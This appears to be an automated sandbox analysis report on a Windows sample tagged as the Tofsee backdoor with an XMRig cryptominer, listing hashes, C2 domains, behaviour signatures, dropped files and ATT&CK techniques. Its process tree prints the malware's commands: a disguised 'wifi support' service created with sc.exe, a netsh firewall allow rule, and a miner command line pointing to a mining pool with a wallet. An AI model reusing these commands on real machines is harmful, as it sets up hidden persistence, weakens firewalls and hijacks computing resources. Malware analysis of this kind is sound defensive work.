Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    05-06-2022 18:32

General

  • Target

    c4e4941b22293175166737686128c2fa6c51781f1434253df4e0624ecf96a802.exe

  • Size

    265KB

  • MD5

    4d4de9714a1d888f6070d676363518ae

  • SHA1

    14b8151cc8c38d16a177aaeb3e633b8c68b41ad3

  • SHA256

    c4e4941b22293175166737686128c2fa6c51781f1434253df4e0624ecf96a802

  • SHA512

    cda06c66360448f1a21de72c0e10dd011e75b8945d1cf759dc69aa14124132a824b136dc092c79cf4fc3fa6a628bd0e858cb525bb7a0762a38d40ee179f7dc1d

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 3 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 17 IoCs
  • Suspicious use of WriteProcessMemory 41 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c4e4941b22293175166737686128c2fa6c51781f1434253df4e0624ecf96a802.exe
    "C:\Users\Admin\AppData\Local\Temp\c4e4941b22293175166737686128c2fa6c51781f1434253df4e0624ecf96a802.exe"
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    PID:2716
  • C:\Users\Admin\AppData\Local\Temp\2645.exe
    C:\Users\Admin\AppData\Local\Temp\2645.exe
    1⤵
    • Executes dropped EXE
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4116
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\tpgkpvxh\
      2⤵
        PID:4136
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ytdznyd.exe" C:\Windows\SysWOW64\tpgkpvxh\
        2⤵
          PID:3324
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create tpgkpvxh binPath= "C:\Windows\SysWOW64\tpgkpvxh\ytdznyd.exe /d\"C:\Users\Admin\AppData\Local\Temp\2645.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1904
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description tpgkpvxh "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4408
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start tpgkpvxh
          2⤵
          • Launches sc.exe
          PID:224
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2248
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4116 -s 1040
          2⤵
          • Program crash
          PID:3716
      • C:\Windows\SysWOW64\tpgkpvxh\ytdznyd.exe
        C:\Windows\SysWOW64\tpgkpvxh\ytdznyd.exe /d"C:\Users\Admin\AppData\Local\Temp\2645.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2192
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3744
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1844
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2192 -s 556
          2⤵
          • Program crash
          PID:2136
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4116 -ip 4116
        1⤵
          PID:628
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 2192 -ip 2192
          1⤵
            PID:2764
          • C:\Users\Admin\AppData\Local\Temp\617A.exe
            C:\Users\Admin\AppData\Local\Temp\617A.exe
            1⤵
            • Executes dropped EXE
            PID:716
          • C:\Windows\SysWOW64\explorer.exe
            C:\Windows\SysWOW64\explorer.exe
            1⤵
              PID:5004
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 5004 -s 872
                2⤵
                • Program crash
                PID:812
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 5004 -ip 5004
              1⤵
                PID:1440
              • C:\Windows\explorer.exe
                C:\Windows\explorer.exe
                1⤵
                  PID:848

                Network

                MITRE ATT&CK Matrix ATT&CK v6

                Persistence

                New Service

                1
                T1050

                Modify Existing Service

                1
                T1031

                Registry Run Keys / Startup Folder

                1
                T1060

                Privilege Escalation

                New Service

                1
                T1050

                Defense Evasion

                Modify Registry

                1
                T1112

                Discovery

                Query Registry

                2
                T1012

                System Information Discovery

                3
                T1082

                Peripheral Device Discovery

                1
                T1120

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • C:\Users\Admin\AppData\Local\Temp\2645.exe
                  Filesize

                  265KB

                  MD5

                  06d09cd1e888988acc5ec6ad63839bd1

                  SHA1

                  18e214c4ddd7e87d71cd5d8618e236f95e2802cf

                  SHA256

                  c719f453a73d5c68613331107c88d0f00aa7ee7c10566609bfa4e91b26d6f7e9

                  SHA512

                  cd5507e9acf86fe247405316d93dda96163f30df1b4831c046946da782423f3f89a916c7c787ef3c57e39e5057d196dd72b6a36be87648ec866fb031e470bf66

                • C:\Users\Admin\AppData\Local\Temp\2645.exe
                  Filesize

                  265KB

                  MD5

                  06d09cd1e888988acc5ec6ad63839bd1

                  SHA1

                  18e214c4ddd7e87d71cd5d8618e236f95e2802cf

                  SHA256

                  c719f453a73d5c68613331107c88d0f00aa7ee7c10566609bfa4e91b26d6f7e9

                  SHA512

                  cd5507e9acf86fe247405316d93dda96163f30df1b4831c046946da782423f3f89a916c7c787ef3c57e39e5057d196dd72b6a36be87648ec866fb031e470bf66

                • C:\Users\Admin\AppData\Local\Temp\617A.exe
                  Filesize

                  4.3MB

                  MD5

                  d3d62d8d274195ab9af9c028fea9ca4b

                  SHA1

                  ae84938ab3b4bb8411f726f617cec9a4707da43e

                  SHA256

                  4751a136cf8bf5807b4714ebfba31096ed385b4e424bdb4d9cd94c5da18dfb19

                  SHA512

                  7633107dd57fce28e8f150d32c56226670065128ea1882decb6257314df1202c33673fc4b56a0a28196500bcc595db8bc5fc6dd5f3e6a3d9f4234af9b03f0b15

                • C:\Users\Admin\AppData\Local\Temp\617A.exe
                  Filesize

                  4.3MB

                  MD5

                  d3d62d8d274195ab9af9c028fea9ca4b

                  SHA1

                  ae84938ab3b4bb8411f726f617cec9a4707da43e

                  SHA256

                  4751a136cf8bf5807b4714ebfba31096ed385b4e424bdb4d9cd94c5da18dfb19

                  SHA512

                  7633107dd57fce28e8f150d32c56226670065128ea1882decb6257314df1202c33673fc4b56a0a28196500bcc595db8bc5fc6dd5f3e6a3d9f4234af9b03f0b15

                • C:\Users\Admin\AppData\Local\Temp\ytdznyd.exe
                  Filesize

                  10.8MB

                  MD5

                  dfb4260fb23be4bf83739abf54cfaf21

                  SHA1

                  73ee1802b7e601da815886a32458e76c0f12bbbe

                  SHA256

                  29d9d270ac5f5ac4ba7ca5ad5243ffc20fb2c145004f703cd8c638795a8a1cfd

                  SHA512

                  d34512cd0d633ae7b7deb858b98bd7bacd5c7f03ce3eea1baa78ecb830469968e5c6c3428ad11a2635966e3d1e31a088f3a0c97258f629f744f133cb10d9b2c2

                • C:\Windows\SysWOW64\tpgkpvxh\ytdznyd.exe
                  Filesize

                  10.8MB

                  MD5

                  dfb4260fb23be4bf83739abf54cfaf21

                  SHA1

                  73ee1802b7e601da815886a32458e76c0f12bbbe

                  SHA256

                  29d9d270ac5f5ac4ba7ca5ad5243ffc20fb2c145004f703cd8c638795a8a1cfd

                  SHA512

                  d34512cd0d633ae7b7deb858b98bd7bacd5c7f03ce3eea1baa78ecb830469968e5c6c3428ad11a2635966e3d1e31a088f3a0c97258f629f744f133cb10d9b2c2

                • memory/224-145-0x0000000000000000-mapping.dmp
                • memory/716-170-0x0000000000700000-0x0000000000E1C000-memory.dmp
                  Filesize

                  7.1MB

                • memory/716-157-0x0000000000000000-mapping.dmp
                • memory/716-196-0x0000000000700000-0x0000000000E1C000-memory.dmp
                  Filesize

                  7.1MB

                • memory/716-161-0x0000000000700000-0x0000000000E1C000-memory.dmp
                  Filesize

                  7.1MB

                • memory/848-166-0x0000000000000000-mapping.dmp
                • memory/848-167-0x0000000000EE0000-0x0000000000EEC000-memory.dmp
                  Filesize

                  48KB

                • memory/1844-189-0x0000000000000000-mapping.dmp
                • memory/1844-195-0x0000000000E00000-0x0000000000EF1000-memory.dmp
                  Filesize

                  964KB

                • memory/1844-190-0x0000000000E00000-0x0000000000EF1000-memory.dmp
                  Filesize

                  964KB

                • memory/1904-143-0x0000000000000000-mapping.dmp
                • memory/2192-156-0x0000000000400000-0x0000000002DBA000-memory.dmp
                  Filesize

                  41.7MB

                • memory/2248-146-0x0000000000000000-mapping.dmp
                • memory/2716-133-0x0000000000400000-0x0000000002DBA000-memory.dmp
                  Filesize

                  41.7MB

                • memory/2716-132-0x0000000000400000-0x0000000002DBA000-memory.dmp
                  Filesize

                  41.7MB

                • memory/2716-131-0x00000000001F0000-0x00000000001F9000-memory.dmp
                  Filesize

                  36KB

                • memory/2716-130-0x0000000002E62000-0x0000000002E73000-memory.dmp
                  Filesize

                  68KB

                • memory/3324-140-0x0000000000000000-mapping.dmp
                • memory/3744-155-0x0000000000910000-0x0000000000925000-memory.dmp
                  Filesize

                  84KB

                • memory/3744-169-0x0000000000910000-0x0000000000925000-memory.dmp
                  Filesize

                  84KB

                • memory/3744-152-0x0000000000910000-0x0000000000925000-memory.dmp
                  Filesize

                  84KB

                • memory/3744-186-0x0000000007E50000-0x0000000007E57000-memory.dmp
                  Filesize

                  28KB

                • memory/3744-183-0x0000000007900000-0x0000000007D0B000-memory.dmp
                  Filesize

                  4.0MB

                • memory/3744-180-0x0000000002DF0000-0x0000000002DF5000-memory.dmp
                  Filesize

                  20KB

                • memory/3744-177-0x0000000002C20000-0x0000000002C30000-memory.dmp
                  Filesize

                  64KB

                • memory/3744-174-0x0000000002C10000-0x0000000002C16000-memory.dmp
                  Filesize

                  24KB

                • memory/3744-171-0x0000000002900000-0x0000000002B0F000-memory.dmp
                  Filesize

                  2.1MB

                • memory/3744-151-0x0000000000000000-mapping.dmp
                • memory/4116-142-0x0000000000400000-0x0000000002DBA000-memory.dmp
                  Filesize

                  41.7MB

                • memory/4116-148-0x00000000030A3000-0x00000000030B4000-memory.dmp
                  Filesize

                  68KB

                • memory/4116-149-0x0000000000400000-0x0000000002DBA000-memory.dmp
                  Filesize

                  41.7MB

                • memory/4116-139-0x0000000002F20000-0x0000000002F33000-memory.dmp
                  Filesize

                  76KB

                • memory/4116-138-0x00000000030A3000-0x00000000030B4000-memory.dmp
                  Filesize

                  68KB

                • memory/4116-134-0x0000000000000000-mapping.dmp
                • memory/4136-137-0x0000000000000000-mapping.dmp
                • memory/4408-144-0x0000000000000000-mapping.dmp
                • memory/5004-168-0x0000000000D50000-0x0000000000DBB000-memory.dmp
                  Filesize

                  428KB

                • memory/5004-165-0x0000000000D50000-0x0000000000DBB000-memory.dmp
                  Filesize

                  428KB

                • memory/5004-164-0x0000000001000000-0x0000000001074000-memory.dmp
                  Filesize

                  464KB

                • memory/5004-163-0x0000000000000000-mapping.dmp